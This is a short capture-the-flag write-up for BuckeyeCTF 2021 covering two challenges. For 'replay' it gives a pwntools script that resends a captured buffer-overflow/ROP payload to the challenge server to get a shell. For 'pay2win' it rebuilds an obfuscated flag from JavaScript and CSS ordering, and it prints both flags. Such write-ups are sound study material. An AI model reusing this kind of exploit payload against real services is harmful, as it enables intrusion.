---
# System prepended metadata

title: '[BuckeyeCTF 2021](https://ctftime.org/event/1441)'
tags: [ctf]

---

# [BuckeyeCTF 2021](https://ctftime.org/event/1441)
###### tags: `ctf`
{%hackmd theme-dark %}

# Misc
### `replay`
- Wireshark
    ![](https://i.imgur.com/s6KzrFl.jpg)
    - resend the payload
- Script
```python=
# cat payload.txt | cut -d " " -f1 | cut -d '"' -f2 | tr -d "\n" > payload_processed.txt
from pwn import *
context.log_level="debug"
c = remote('misc.chall.pwnoh.io', 13371)
print(c.recv())
c.send(b"\x61\x61\x61\x61\x62\x61\x61\x61\x63\x61\x61\x61\x64\x61\x61\x61\x65\x61\x61\x61\x66\x61\x61\x61\x67\x61\x61\x61\x68\x61\x61\x61\x69\x61\x61\x61\x6a\x61\x61\x61\x6b\x61\x61\x61\x6c\x61\x61\x61\x6d\x61\x61\x61\x6e\x61\x61\x61\x6f\x61\x61\x61\x70\x61\x61\x61\x71\x61\x61\x61\x72\x61\x61\x61\x73\x61\x61\x61\x74\x61\x61\x61\x75\x61\x61\x61\x76\x61\x61\x61\x77\x61\x61\x61\x78\x61\x61\x61\x79\x61\x61\x61\x7a\x61\x61\x62\x62\x61\x61\x62\x63\x61\x61\x62\x64\x61\x61\x62\x65\x61\x61\x62\x66\x61\x61\x62\x67\x61\x61\x62\x68\x61\x61\x62\x69\x61\x61\x62\x55\x11\x40\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x57\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x20\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x11\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a")
c.interactive()
```
- Result: `buckeye{g00d_th1ng_P1E_w4s_d1s4bl3d_0n_th3_b1n4ry}`
    ![](https://i.imgur.com/w14tqZz.png)
# Web
## pay2win
- It obsucated the flag's order
- js source code
```js=
function plantFlag () {
	const ciphertext = [234, 240, 234, 252, 214, 236, 140, 247, 173, 191, 158, 132, 56, 4, 32, 73, 235, 193, 233, 152, 125, 19, 19, 237, 186, 131, 98, 52, 186, 143, 127, 43, 226, 233, 126, 15, 225, 171, 85, 55, 173, 123, 21, 147, 97, 21, 237, 11, 254, 129, 2, 131, 101, 63, 149, 61]
	const plaintext = ciphertext.map((x, i) => ((i * i) % 256) ^ x ^ 0x99)
  
	const flagElement = document.querySelector('#flag')
	plaintext.map((x, i) => {
	  const span = document.createElement('span')
	  span.classList.add(`flag-char-${i}`)
	  span.textContent = String.fromCharCode(x)
	  flagElement.appendChild(span)
	  return span
}
plantFlag()

```
- css source code
```css=
#flag-overlay {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    z-index: 5;
    background-color: #b5b5b5;
  }
  
  .flag-char-0 {
    order: 13;
  }
  
  .flag-char-1 {
    order: 47;
  }
  
  .flag-char-2 {
    order: 40;
  }
  
  .flag-char-3 {
    order: 49;
  }
  
  .flag-char-4 {
    order: 39;
  }
  
  .flag-char-5 {
    order: 50;
  }
  
  .flag-char-6 {
    order: 15;
  }
  
  .flag-char-7 {
    order: 26;
  }
  
  .flag-char-8 {
    order: 35;
  }
  
  .flag-char-9 {
    order: 18;
  }
  
  .flag-char-10 {
    order: 29;
  }
  
  .flag-char-11 {
    order: 44;
  }
  
  .flag-char-12 {
    order: 42;
  }
  
  .flag-char-13 {
    order: 20;
  }
  
  .flag-char-14 {
    order: 55;
  }
  
  .flag-char-15 {
    order: 32;
  }
  
  .flag-char-16 {
    order: 43;
  }
  
  .flag-char-17 {
    order: 11;
  }
  
  .flag-char-18 {
    order: 48;
  }
  
  .flag-char-19 {
    order: 14;
  }
  
  .flag-char-20 {
    order: 16;
  }
  
  .flag-char-21 {
    order: 25;
  }
  
  .flag-char-22 {
    order: 52;
  }
  
  .flag-char-23 {
    order: 4;
  }
  
  .flag-char-24 {
    order: 2;
  }
  
  .flag-char-25 {
    order: 30;
  }
  
  .flag-char-26 {
    order: 17;
  }
  
  .flag-char-27 {
    order: 21;
  }
  
  .flag-char-28 {
    order: 54;
  }
  
  .flag-char-29 {
    order: 22;
  }
  
  .flag-char-30 {
    order: 0;
  }
  
  .flag-char-31 {
    order: 38;
  }
  
  .flag-char-32 {
    order: 7;
  }
  
  .flag-char-33 {
    order: 37;
  }
  
  .flag-char-34 {
    order: 46;
  }
  
  .flag-char-35 {
    order: 45;
  }
  
  .flag-char-36 {
    order: 24;
  }
  
  .flag-char-37 {
    order: 3;
  }
  
  .flag-char-38 {
    order: 19;
  }
  
  .flag-char-39 {
    order: 31;
  }
  
  .flag-char-40 {
    order: 23;
  }
  
  .flag-char-41 {
    order: 33;
  }
  
  .flag-char-42 {
    order: 8;
  }
  
  .flag-char-43 {
    order: 41;
  }
  
  .flag-char-44 {
    order: 27;
  }
  
  .flag-char-45 {
    order: 6;
  }
  
  .flag-char-46 {
    order: 9;
  }
  
  .flag-char-47 {
    order: 28;
  }
  
  .flag-char-48 {
    order: 53;
  }
  
  .flag-char-49 {
    order: 5;
  }
  
  .flag-char-50 {
    order: 34;
  }
  
  .flag-char-51 {
    order: 51;
  }
  
  .flag-char-52 {
    order: 10;
  }
  
  .flag-char-53 {
    order: 12;
  }
  
  .flag-char-54 {
    order: 36;
  }
  
  .flag-char-55 {
    order: 1;
  }
```
### Solution:
- Reconstruct the flag with the order at `css`
    - Obsucated flag:
    :::info
        0        10        20        30        40        50                           
        12345678901234567890123456789012345678901234567890123456
        shwl_l1_twcd14}1ry4ht3neck_t3_bs{1c_hkh_tsh3he03gy_3l_hu
    :::
    - Got the flag with the right order: `buckeye{h0ly_sh1t_wh4t_th3_h3ck_1s_th1s_w31rd_ch4ll3ng3}`

## Result:
![](https://i.imgur.com/trRnPl2.jpg)
- I solved two challenges:
    ![](https://i.imgur.com/pzaCzpI.jpg)
